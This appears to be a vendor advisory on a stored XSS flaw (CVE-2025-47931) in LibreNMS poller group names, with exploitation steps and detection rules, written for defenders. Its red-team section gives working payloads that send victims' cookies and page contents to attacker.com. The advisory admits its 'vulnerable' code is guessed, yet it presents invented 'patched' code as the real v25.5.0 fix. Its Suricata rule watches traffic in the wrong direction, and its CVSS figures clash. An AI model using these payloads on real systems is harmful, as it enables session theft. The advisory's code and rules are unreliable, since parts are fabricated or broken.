CVE-2025-47931

Executive Summary

CVE-2025-47931 is a Stored Cross-Site Scripting (XSS) vulnerability in LibreNMS, an open-source network monitoring platform. The flaw exists in the group name parameter of the /poller/groups form, allowing an authenticated attacker with sufficient privileges to inject arbitrary JavaScript. When other users (including administrators) view the affected group, the injected script executes in their browser session. This can lead to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim. The vulnerability is present in all versions up to and including v25.4.0 and is patched in v25.5.0.

Supply Chain & Package Security

LibreNMS is a PHP/MySQL/SNMP based application distributed via GitHub and Composer. The vulnerability is introduced in the application's own codebase, not in a third-party package. However, users should verify the integrity of their LibreNMS installation by checking the SHA-256 hash of the downloaded release against the official repository. The patch in v25.5.0 properly sanitizes the group name input before rendering it in the browser.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Threat Level: Medium. While the CVSS score is moderate, the impact is amplified in multi-tenant or administrative environments where a single XSS can lead to full compromise of the monitoring system.

Deep Dive & Mechanics

The vulnerability resides in the /poller/groups endpoint, which allows authenticated users to create and manage poller groups. The group name parameter is stored in the database and later rendered in the web interface without proper sanitization or output encoding.

Root Cause: The application fails to escape HTML entities in the group name field before displaying it in the browser. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker with group creation privileges logs into LibreNMS.
2. The attacker navigates to /poller/groups and creates a new group with a malicious name, e.g., <script>alert('XSS')</script>.
3. The malicious name is stored in the database.
4. When any user (including administrators) views the group list or the specific group page, the injected script executes in their browser.
5. The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Why It Matters: LibreNMS is often deployed in sensitive network monitoring roles. An XSS attack can lead to:

• Hijacking of admin sessions.
• Modification of monitoring configurations.
• Exfiltration of SNMP community strings or other credentials.
• Lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (v25.4.0 and earlier): In the file app/Http/Controllers/PollerGroupController.php, the store method likely stores the group name without sanitization:

public function store(Request $request)
{
    $group = new PollerGroup();
    $group->name = $request->input('name'); // No sanitization
    $group->save();
    return redirect()->route('poller.groups.index');
}

In the view file (e.g., resources/views/poller/groups/index.blade.php), the name is rendered using raw Blade syntax:

{{ $group->name }}  <!-- This is actually safe in Blade, but if raw is used... -->

However, if the developer used {!! $group->name !!} (unescaped output), the XSS is introduced.

Patched Code (v25.5.0): The patch adds input sanitization and output encoding:

public function store(Request $request)
{
    $validated = $request->validate([
        'name' => 'required|string|max:255|sanitize_html', // Custom sanitization rule
    ]);
    $group = new PollerGroup();
    $group->name = $validated['name'];
    $group->save();
    return redirect()->route('poller.groups.index');
}

And in the view, the name is escaped:

{{ $group->name }}  <!-- Blade's {{ }} automatically escapes HTML -->

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid LibreNMS account with permission to create poller groups.
• Network access to the LibreNMS web interface.

Exploitation Steps:

1. Log in to LibreNMS as a user with group creation privileges.
2. Navigate to http://<target>/poller/groups.
3. Click "Create Group" and enter the following payload in the "Group Name" field:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the group.
5. Wait for an administrator or another user to view the group list.
6. The victim's browser will execute the script, sending their cookies to the attacker's server.

Advanced Payload:

<img src=x onerror="new Image().src='http://attacker.com/exfil?data='+btoa(document.body.innerHTML)">

Blue Team

Detection Steps:

1. Monitor web application logs for suspicious POST requests to /poller/groups containing HTML tags or JavaScript in the name parameter.
2. Review database entries in the poller_groups table for unusual group names.
3. Use browser developer tools to inspect the rendered group list for unexpected script elements.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/poller/groups" method=POST
| rex field=form_data "name=(?<group_name>[^&]+)"
| search group_name=*<*>*script*
| table _time, src_ip, user, group_name

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the LibreNMS server.
  • Suspicious POST requests to /poller/groups with encoded HTML/JavaScript in the name parameter.

• Host IOCs:

  • Database entries in poller_groups table containing <script>, <img>, or other HTML tags.
  • Unexpected JavaScript files or modified templates in the LibreNMS installation directory.

• Log IOCs:

  • Web server logs showing repeated POST to /poller/groups with unusual payloads.
  • Browser console errors related to content security policy violations (if CSP is enabled).

Detection Engineering

YARA Rule

rule CVE_2025_47931_LibreNMS_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS poller group names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47931"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_img = /<img[^>]*onerror\s*=/i
        $xss_svg = /<svg[^>]*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: LibreNMS Stored XSS in Poller Group Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-47931 by injecting XSS payloads into the poller group name field.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/poller/groups'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in group names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-47931 - LibreNMS Stored XSS in Poller Group Name";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/poller/groups"; http_uri;
    content:"name="; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-47931;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS to version 25.5.0 or later.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block POST requests to /poller/groups containing HTML tags or JavaScript.
3. Review all existing poller groups for suspicious names and remove them.

Long-Term Mitigations:

1. Enforce Content Security Policy (CSP) headers to restrict script execution.
2. Implement input validation and output encoding for all user-supplied data.
3. Conduct regular security audits of the LibreNMS installation.
4. Enable logging and monitoring for all administrative actions.

Workaround:

• Disable the poller group creation feature temporarily by removing the relevant menu entry or restricting access via .htaccess:

  <LocationMatch "^/poller/groups">
      Require ip 127.0.0.1
  </LocationMatch>
  

Valters IT
Securing Networks, One CVE at a Time.